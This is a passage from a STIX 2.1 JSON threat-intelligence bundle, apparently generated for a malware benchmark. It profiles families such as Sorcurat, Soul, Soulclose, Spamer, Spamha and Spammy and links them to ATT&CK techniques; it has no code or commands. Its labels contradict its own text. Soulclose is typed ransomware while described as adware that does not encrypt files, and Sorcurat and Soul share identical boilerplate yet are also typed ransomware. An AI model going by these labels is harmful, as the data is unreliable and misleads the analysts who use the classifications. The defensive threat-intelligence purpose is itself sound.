      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sonbokli exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c504e9b5-500a-562a-885e-0aa03558675c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0e2d85c-dcb1-5966-a789-bee99c7732d3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sonbokli exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70e71a01-91d6-553a-a1f9-1e1251b1acec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sorcurat",
      "description": "Trojan:Win32/Sorcurat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sorcurat</b><br>To an end-user, a Sorcurat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sorcurat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sorcurat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sorcurat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sorcurat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sorcurat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sorcurat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6e8b562-f754-58eb-b44f-7e4a7a6fbf6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70e71a01-91d6-553a-a1f9-1e1251b1acec",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sorcurat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54f9d1c0-5940-514a-9d64-d3e1f73ef26f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70e71a01-91d6-553a-a1f9-1e1251b1acec",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sorcurat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c959e183-6355-51d6-ae9e-b5c86df41a07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70e71a01-91d6-553a-a1f9-1e1251b1acec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sorcurat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0a3deaa-fd03-5b62-b1ee-1bdc34f3a24b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70e71a01-91d6-553a-a1f9-1e1251b1acec",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sorcurat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24137f42-01d5-5067-84e1-0153b34bba0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70e71a01-91d6-553a-a1f9-1e1251b1acec",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sorcurat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--158657ff-5441-585e-847f-d2e115ec19d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Soul",
      "description": "Trojan:Win32/Soul is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Soul</b><br>To an end-user, a Soul infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Soul is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Soul is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Soul frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Soul reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Soul",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/soul"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88b6b9fd-946b-5a66-82a1-3c312e7cf67c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--158657ff-5441-585e-847f-d2e115ec19d8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soul exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dfc2137-7924-5aa2-961d-2332668345a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--158657ff-5441-585e-847f-d2e115ec19d8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soul exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58695a9f-dec3-5341-aadc-8b2825b06883",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--158657ff-5441-585e-847f-d2e115ec19d8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soul exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1afa0ab8-b799-5cb7-aa20-885a69fdf093",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--158657ff-5441-585e-847f-d2e115ec19d8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soul exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d23f941f-5ca5-5014-a5a8-17e0ad00d5d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--158657ff-5441-585e-847f-d2e115ec19d8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soul exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3b9f85ab-eeda-538d-b98e-543787f439be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Soulclose",
      "description": "<h3>Executive Summary</h3>\nSoulclose is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware designed to monetize an infected user's web browsing activity. It frequently masquerades as a legitimate browser optimization tool or necessary system utility, but its primary function is to intercept web traffic, alter browser configurations, and inject intrusive advertisements into the user's display.\n\n<h3>Distribution and Technical Behavior</h3>\nSoulclose is almost exclusively distributed via deceptive software bundling. It is commonly hidden within the \"Custom Installation\" options of free software installers downloaded from low-reputation, third-party software portals.\n\nOnce executed, Soulclose deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> Soulclose aggressively alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators, allowing them to generate illicit pay-per-click revenue.</li>\n<li><strong>Traffic Interception:</strong> The software frequently installs a local proxy server or malicious browser extensions to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, and sponsored in-text hyperlinks.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Soulclose creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Soulclose does not actively encrypt files (like ransomware) or steal banking credentials, it introduces massive operational friction. The injected advertisements significantly degrade system performance, and the hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Soulclose executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Soulclose",
        "PUP.Soulclose",
        "BrowserModifier:Win32/Soulclose"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Soulclose",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/soulclose"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c026d59f-7d78-570d-adc9-aba5ecf79157",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b9f85ab-eeda-538d-b98e-543787f439be",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soulclose exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d1d55c8-62b9-5283-9502-ee075391ea57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b9f85ab-eeda-538d-b98e-543787f439be",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soulclose exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3e4d9bb-78a5-5093-b0d8-ccaa3b51dc35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b9f85ab-eeda-538d-b98e-543787f439be",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soulclose exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fddefced-2afd-5482-8e2a-8760cd4c7879",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spamer",
      "description": "<h3>Executive Summary</h3>\nSpamer (often detected as Riskware.Spamer, Tool.Spammer, or Trojan-Spammer) refers to a specialized category of illicit utility software designed to facilitate the automated, bulk transmission of unsolicited email, instant messages, or forum posts. While some instances are standalone HackTools utilized by \"Spam Kings,\" modern Spamer variants are frequently integrated as modules within larger botnets (like Necurs or Rustock), allowing threat actors to lease the infected endpoints' bandwidth to distribute phishing links, pharmaceutical malvertising, or secondary malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStandalone Spamer tools are usually downloaded intentionally by malicious actors or marketing affiliates. However, when integrated into a botnet, the \"Spamer\" module is silently dropped onto the endpoint after an initial infection (e.g., via an exploit kit or malicious macro).\n\nOnce active on a system, a Spamer module exhibits the following capabilities:\n<ul>\n<li><strong>SMTP Engine Execution:</strong> The software often contains its own lightweight SMTP (Simple Mail Transfer Protocol) engine. This allows it to send emails directly to destination mail servers, bypassing the user's configured email client and local ISP restrictions (though often utilizing port 25 or 587).</li>\n<li><strong>Address Harvesting:</strong> Advanced variants will scour the infected endpoint's local files (address books, browser caches, documents) to harvest new, valid email addresses to add to the botnet's target list.</li>\n<li><strong>Template and Proxy Rotation:</strong> To evade IP blacklisting and Bayesian spam filters, the Spamer module frequently updates its email templates (subject lines, body text, malicious links) from the C2 server and may route the outgoing spam through open proxies or other infected nodes.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a Spamer module is a critical indicator that the endpoint has been recruited into a botnet. While the spamming activity itself does not directly steal the user's local files, it severely degrades network bandwidth, gets the corporate IP address blacklisted by major email providers (disrupting legitimate business communication), and consumes significant system resources.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Identify the Source Process:</strong> Utilize EDR or network monitoring tools to identify the specific process that is generating the anomalous outbound SMTP traffic.</li>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the network to halt the spam campaign and prevent further blacklisting of the corporate IP address.</li>\n<li><strong>Comprehensive Botnet Eradication:</strong> The Spamer tool is almost certainly a secondary payload. A full system wipe and re-image is required, as the initial infection vector (the root botnet client) must be eradicated to prevent re-infection. IT must also check the corporate IP against major DNSBLs (DNS-based Blackhole Lists) and request delisting once the threat is removed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Spamer",
        "Trojan-Spammer",
        "Tool.BulkEmailer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spamer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spamer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fd8fbe5d-040c-5b81-af0a-e3e249668a82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1583: Acquire Infrastructure",
      "description": "MITRE ATT&CK Technique T1583 (Acquire Infrastructure) under tactic Resource Development.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1583",
          "url": "https://attack.mitre.org/techniques/T1583/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fc45fcf-daf9-5cd9-8bb5-185336044d61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fddefced-2afd-5482-8e2a-8760cd4c7879",
      "target_ref": "attack-pattern--fd8fbe5d-040c-5b81-af0a-e3e249668a82",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spamer exhibits technique T1583 (Acquire Infrastructure)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eb02bb4-f0cb-579e-88ae-fe0eea76113d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fddefced-2afd-5482-8e2a-8760cd4c7879",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spamer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--452c9d51-0fbe-553a-9033-33280070aa8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fddefced-2afd-5482-8e2a-8760cd4c7879",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spamer exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d2d353b5-c184-56f5-a605-f50ebf8039e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spamha",
      "description": "<h3>Executive Summary</h3>\nSpamha is a specialized Trojan and Spambot designed to hijack the network resources of infected Windows systems. Once deployed, it silently integrates the compromised machine into a larger botnet, utilizing the host's internet connection to blast out massive volumes of unsolicited junk mail, phishing lures, and malware-laden attachments to millions of email addresses globally.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpamha is typically distributed as a secondary payload, often downloaded by initial access trojans after a user opens a malicious email attachment or clicks a deceptive link.\n\nUpon execution, Spamha turns the infected machine into a dedicated spam proxy:\n<ul>\n<li><strong>SMTP Engine:</strong> The trojan contains its own miniature, built-in SMTP (Simple Mail Transfer Protocol) engine. This allows it to send emails directly to destination mail servers, bypassing the user's configured email client (like Outlook) and often bypassing local corporate mail relays.</li>\n<li><strong>C2 Communication and Templates:</strong> Spamha periodically connects to its command-and-control (C2) server to download target email lists and message templates. These templates often contain randomized text or dynamic macros to evade traditional bayesian spam filters.</li>\n<li><strong>Address Harvesting:</strong> To fuel its campaigns, the trojan frequently scans the local hard drive (specifically Windows Address Books, browser caches, and document files) for any strings resembling email addresses, transmitting these back to the botmaster.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile a Spamha infection may not immediately destroy local data, it poses a severe operational and reputational risk to an organization. An infected host rapidly blasting out malware will quickly cause the enterprise's public IP addresses to be blacklisted by major spam clearinghouses (like Spamhaus or Barracuda), halting legitimate outbound corporate email communication.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Perimeter Blocking:</strong> Immediately block outbound SMTP traffic (TCP Port 25) at the perimeter firewall for all standard endpoints, forcing all email to route through approved, monitored corporate mail relays.</li>\n<li><strong>Network Isolation:</strong> Isolate the endpoint exhibiting high volumes of outbound SMTP connections to halt the spam campaign and prevent further IP blacklisting.</li>\n<li><strong>Reputation Remediation:</strong> After the malware has been removed and the endpoint secured, the IT department must actively petition major email blacklists to have the corporate IP addresses delisted, a process that can take several days.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Spambot.Spamha",
        "SpamTool.Spamha",
        "Win32/Spamha"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spamha",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spamha"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd4e2ce0-8009-58e9-b672-d76172214856",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d353b5-c184-56f5-a605-f50ebf8039e2",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spamha exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f345bbe-c34e-5945-85fa-d9283a401d37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d353b5-c184-56f5-a605-f50ebf8039e2",
      "target_ref": "attack-pattern--9a4d8a61-c2a1-5639-9950-ed28aaba5705",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spamha exhibits technique T1114.003 (Email Forwarding Rule)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1989d0ad-3dbe-580d-ba50-ceb690320a2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d2d353b5-c184-56f5-a605-f50ebf8039e2",
      "target_ref": "attack-pattern--0bc1ab05-93c5-5215-9981-7ef52cf4b457",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spamha exhibits technique T1583.003 (Acquire Infrastructure: Botnet)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e6d59e9d-e128-5888-a74b-f63223eaea45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spammy",
      "description": "Adware:Win32/Spammy is a classification for a family of highly intrusive adware and browser modifiers. As the name suggests, its primary behavior is to inundate the user with unwanted advertising ('spam') in the form of pop-ups, pop-unders, in-text hyperlinks, and unauthorized modifications to search engine results (`T1189`). It degrades system performance and exposes the user to further malvertising risks.<br><br><b>Understanding Spammy (Aggressive Adware)</b><br>To an end-user, Spammy makes navigating the web incredibly frustrating. Clicking a legitimate link may open a completely unrelated advertising page, and shopping sites are often injected with 'Compare Prices' banners that obscure the actual content. For security teams, Spammy is a compliance and security risk, as the adware networks it connects to are often unvetted and frequently distribute secondary payloads.<br><br><b>Execution and Hijacking Mechanics</b><br>Spammy is typically distributed via pay-per-install (PPI) affiliate networks, bundled with freeware, torrent downloads, or fake software updates (`T1189`). Upon execution, it installs itself as a Windows service or a Scheduled Task to ensure it runs at boot (`T1543.003`). It then forcibly installs extensions into installed browsers (Chrome, Edge, Firefox). To protect these extensions, it often modifies the Windows Registry (e.g., using `ExtensionInstallForcelist` policies) (`T1562.001`), preventing the user from easily removing them via the browser's interface.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and a significant decrease in productivity. Host-based IoCs include the presence of unexpected browser extensions (often with randomly generated IDs), unauthorized changes to the `HKLM\\Software\\Policies\\Google\\Chrome` registry paths, and the presence of suspicious updaters in `%LocalAppData%`. Network IoCs include a massive volume of background HTTP/HTTPS requests to known advertising and tracking domains, even when the user is idle. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spammy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spammy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--576ed5a0-8ff5-511f-924c-5e828dc1bb73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6d59e9d-e128-5888-a74b-f63223eaea45",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spammy exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--188a8324-a34e-5a60-8580-3202a6342ae2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6d59e9d-e128-5888-a74b-f63223eaea45",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spammy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8058b6e7-435a-58ba-98c2-0aee24b15a93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e6d59e9d-e128-5888-a74b-f63223eaea45",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spammy exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e3996915-273b-5fca-8dc2-e206f0a90998",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Specialsearchoffer",
      "description": "<h3>Executive Summary</h3>\nSpecialSearchOffer is a highly intrusive Adware and Browser Hijacker variant designed to aggressively monetize infected endpoints. It achieves this by forcefully injecting unauthorized advertisements into the user's web browsing experience, redirecting search queries to affiliate marketing networks, and comprehensively tracking the user's online behavior to generate illicit ad revenue for the threat actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpecialSearchOffer primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, media players, or PDF converters downloaded from third-party, untrustworthy aggregators. The installation is often obscured through deceptive UI \"Dark Patterns\" that trick the user into authorizing the adware's deployment.\n\nOnce installed, SpecialSearchOffer employs several aggressive techniques:\n<ul>\n<li><strong>Browser Extension Forcing:</strong> It installs malicious extensions or add-ons across all major web browsers (Chrome, Firefox, Edge). It often uses Group 